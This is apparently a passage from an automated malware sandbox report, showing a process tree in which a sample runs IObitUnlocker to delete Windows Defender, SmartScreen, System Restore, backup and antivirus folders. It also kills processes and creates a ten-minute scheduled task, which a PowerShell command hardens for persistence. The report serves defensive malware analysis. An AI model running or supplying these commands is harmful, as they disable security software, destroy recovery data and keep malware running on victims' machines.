                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\ProgramData\Acronis\BackupAndRecovery","C:\ProgramData\Acronis\TrueImageHome","C:\ProgramData\Acronis\Schedule2","C:\ProgramData\Acronis\Agent","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Redo","C:\Program Files (x86)\Redo","C:\ProgramData\Redo","C:\Program Files\R-Drive","C:\Program Files (x86)\R-Drive","C:\ProgramData\R-Drive","C:\Program Files\Veeam","C:\Program Files (x86)\Veeam","C:\ProgramData\Veeam","C:\Program Files\ShieldApps","C:\Program Files (x86)\ShieldApps","C:\ProgramData\ShieldApps","C:\Program Files\Horizon DataSys","C:\Program Files (x86)\Horizon DataSys","C:\ProgramData\Horizon DataSys","C:\Program Files\Faronics","C:\Program Files (x86)\Faronics","C:\ProgramData\Faronics","C:\Program Files\Toolwiz Time Freeze","C:\Program Files (x86)\Toolwiz Time Freeze","C:\ProgramData\Toolwiz Time Freeze","C:\Program Files\Raxco","C:\Program Files (x86)\Raxco","C:\ProgramData\Raxco","C:\Program Files\Drive Snapshot","C:\Program Files (x86)\Drive Snapshot","C:\ProgramData\Drive Snapshot","C:\Program Files\Deep Freeze","C:\Program Files (x86)\Deep Freeze","C:\ProgramData\Deep Freeze","C:\Program Files\Reboot Restore Rx","C:\Program Files (x86)\Reboot Restore Rx","C:\ProgramData\Reboot Restore Rx","C:\Program Files\R-Tools Technology Inc","C:\Program Files (x86)\R-Tools Technology Inc","C:\ProgramData\R-Tools Technology Inc","C:\Program Files\R-Drive Image","C:\Program Files (x86)\R-Drive Image","C:\ProgramData\R-Drive Image","C:\Program Files\R-Studio","C:\Program Files (x86)\R-Studio","C:\ProgramData\R-Studio","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software\Avast","C:\Program Files (x86)\AVAST Software\Avast","C:\Program Files\AVAST Software\SecureLine","C:\Program Files (x86)\AVAST Software\SecureLine","C:\Program Files\AVAST Software\Cleanup","C:\Program Files (x86)\AVAST Software\Cleanup","C:\Program Files\AVAST Software\Driver Updater","C:\Program Files (x86)\AVAST Software\Driver Updater","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\Program Files\Fortinet\FortiClient","C:\Program Files (x86)\Fortinet\FortiClient","C:\Program Files\Fortinet\FortiTray","C:\Program Files (x86)\Fortinet\FortiTray","C:\Program Files\Fortinet\FortiESNAC","C:\Program Files (x86)\Fortinet\FortiESNAC","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\Program Files\Malwarebytes\Anti-Malware","C:\Program Files (x86)\Malwarebytes\Anti-Malware","C:\Program Files\Malwarebytes\Endpoint Agent","C:\Program Files (x86)\Malwarebytes\Endpoint Agent","C:\Program Files\Malwarebytes\Browser Guard","C:\Program Files (x86)\Malwarebytes\Browser Guard","C:\ProgramData\Malwarebytes","C:\ProgramData\Malwarebytes\MBAMService","C:\ProgramData\Malwarebytes\MBAMService\ScanResults","C:\ProgramData\Malwarebytes\MBAMService\Quarantine","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\CloneAppParameters.exe","C:\Windows\CloneAppParameters.exe","C:\ProgramData\CloneAppParameters.exe","C:\Windows\system32\OneDrivePatcher.exe","C:\Windows\OneDrivePatcher.exe","C:\ProgramData\OneDrivePatcher.exe","C:\Windows\system32\PhotoRecoveryTable.exe","C:\Windows\PhotoRecoveryTable.exe","C:\ProgramData\PhotoRecoveryTable.exe","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                PID:2052
                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\ProgramData\Acronis\BackupAndRecovery","C:\ProgramData\Acronis\TrueImageHome","C:\ProgramData\Acronis\Schedule2","C:\ProgramData\Acronis\Agent","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Redo","C:\Program Files (x86)\Redo","C:\ProgramData\Redo","C:\Program Files\R-Drive","C:\Program Files (x86)\R-Drive","C:\ProgramData\R-Drive","C:\Program Files\Veeam","C:\Program Files (x86)\Veeam","C:\ProgramData\Veeam","C:\Program Files\ShieldApps","C:\Program Files (x86)\ShieldApps","C:\ProgramData\ShieldApps","C:\Program Files\Horizon DataSys","C:\Program Files (x86)\Horizon DataSys","C:\ProgramData\Horizon DataSys","C:\Program Files\Faronics","C:\Program Files (x86)\Faronics","C:\ProgramData\Faronics","C:\Program Files\Toolwiz Time Freeze","C:\Program Files (x86)\Toolwiz Time Freeze","C:\ProgramData\Toolwiz Time Freeze","C:\Program Files\Raxco","C:\Program Files (x86)\Raxco","C:\ProgramData\Raxco","C:\Program Files\Drive Snapshot","C:\Program Files (x86)\Drive Snapshot","C:\ProgramData\Drive Snapshot","C:\Program Files\Deep Freeze","C:\Program Files (x86)\Deep Freeze","C:\ProgramData\Deep Freeze","C:\Program Files\Reboot Restore Rx","C:\Program Files (x86)\Reboot Restore Rx","C:\ProgramData\Reboot Restore Rx","C:\Program Files\R-Tools Technology Inc","C:\Program Files (x86)\R-Tools Technology Inc","C:\ProgramData\R-Tools Technology Inc","C:\Program Files\R-Drive Image","C:\Program Files (x86)\R-Drive Image","C:\ProgramData\R-Drive Image","C:\Program Files\R-Studio","C:\Program Files (x86)\R-Studio","C:\ProgramData\R-Studio","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software\Avast","C:\Program Files (x86)\AVAST Software\Avast","C:\Program Files\AVAST Software\SecureLine","C:\Program Files (x86)\AVAST Software\SecureLine","C:\Program Files\AVAST Software\Cleanup","C:\Program Files (x86)\AVAST Software\Cleanup","C:\Program Files\AVAST Software\Driver Updater","C:\Program Files (x86)\AVAST Software\Driver Updater","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\Program Files\Fortinet\FortiClient","C:\Program Files (x86)\Fortinet\FortiClient","C:\Program Files\Fortinet\FortiTray","C:\Program Files (x86)\Fortinet\FortiTray","C:\Program Files\Fortinet\FortiESNAC","C:\Program Files (x86)\Fortinet\FortiESNAC","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\Program Files\Malwarebytes\Anti-Malware","C:\Program Files (x86)\Malwarebytes\Anti-Malware","C:\Program Files\Malwarebytes\Endpoint Agent","C:\Program Files (x86)\Malwarebytes\Endpoint Agent","C:\Program Files\Malwarebytes\Browser Guard","C:\Program Files (x86)\Malwarebytes\Browser Guard","C:\ProgramData\Malwarebytes","C:\ProgramData\Malwarebytes\MBAMService","C:\ProgramData\Malwarebytes\MBAMService\ScanResults","C:\ProgramData\Malwarebytes\MBAMService\Quarantine","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\CloneAppParameters.exe","C:\Windows\CloneAppParameters.exe","C:\ProgramData\CloneAppParameters.exe","C:\Windows\system32\OneDrivePatcher.exe","C:\Windows\OneDrivePatcher.exe","C:\ProgramData\OneDrivePatcher.exe","C:\Windows\system32\PhotoRecoveryTable.exe","C:\Windows\PhotoRecoveryTable.exe","C:\ProgramData\PhotoRecoveryTable.exe","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                PID:6100
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:3988
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                                    sc stop IObitUnlocker
                                                                                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                                    PID:1808
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                                    sc delete IObitUnlocker
                                                                                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                                    PID:5608
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "2404"
                                                                                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:4836
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                                      taskkill /f /pid "2404"
                                                                                                                                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                                      PID:1540
                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Work\Unlocker.exe
                                                                                                                                                                                                                                                                                                                                                                  Unlocker /newDiskSize
                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:2160
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                                                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:1136
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                                          sc query IObitUnlocker
                                                                                                                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                                          PID:3296
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
                                                                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:3376
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                                            sc stop IObitUnlocker
                                                                                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                                            PID:320
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                                                                            sc delete IObitUnlocker
                                                                                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                                            PID:5152
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "2160"
                                                                                                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:5184
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                                              taskkill /f /pid "2160"
                                                                                                                                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                                              PID:5228
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                                                                                                                                                          sc start VMTools
                                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                                          PID:5772
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                                                                                                                                                          sc start VMTools
                                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                                                                                                                                                                                                          PID:5244
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c schtasks /create /tn "GzfDaoZ8G" /tr "C:\ye5Z0jw\0I9wd1kW.exe" /sc minute /mo 10 /f
                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                                                                      PID:5012
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                        schtasks /create /tn "GzfDaoZ8G" /tr "C:\ye5Z0jw\0I9wd1kW.exe" /sc minute /mo 10 /f
                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                                                                                        PID:4892
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "$task = Get-ScheduledTask -TaskName 'GzfDaoZ8G';$task.Settings.DisallowStartIfOnBatteries = $false;$task.Settings.StopIfGoingOnBatteries = $false;$task.Settings.WakeToRun = $false;$task.Settings.RunOnlyIfIdle = $false;$task.Settings.ExecutionTimeLimit = 'PT0S';$task.Settings.MultipleInstances = 'IgnoreNew';Set-ScheduledTask -InputObject $task;"
                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                                                                      PID:4636
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                        powershell -NoProfile -ExecutionPolicy Bypass -Command "$task = Get-ScheduledTask -TaskName 'GzfDaoZ8G';$task.Settings.DisallowStartIfOnBatteries = $false;$task.Settings.StopIfGoingOnBatteries = $false;$task.Settings.WakeToRun = $false;$task.Settings.RunOnlyIfIdle = $false;$task.Settings.ExecutionTimeLimit = 'PT0S';$task.Settings.MultipleInstances = 'IgnoreNew';Set-ScheduledTask -InputObject $task;"
                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                        PID:1016
                                                                                                                                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                                                                                                                                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:5616
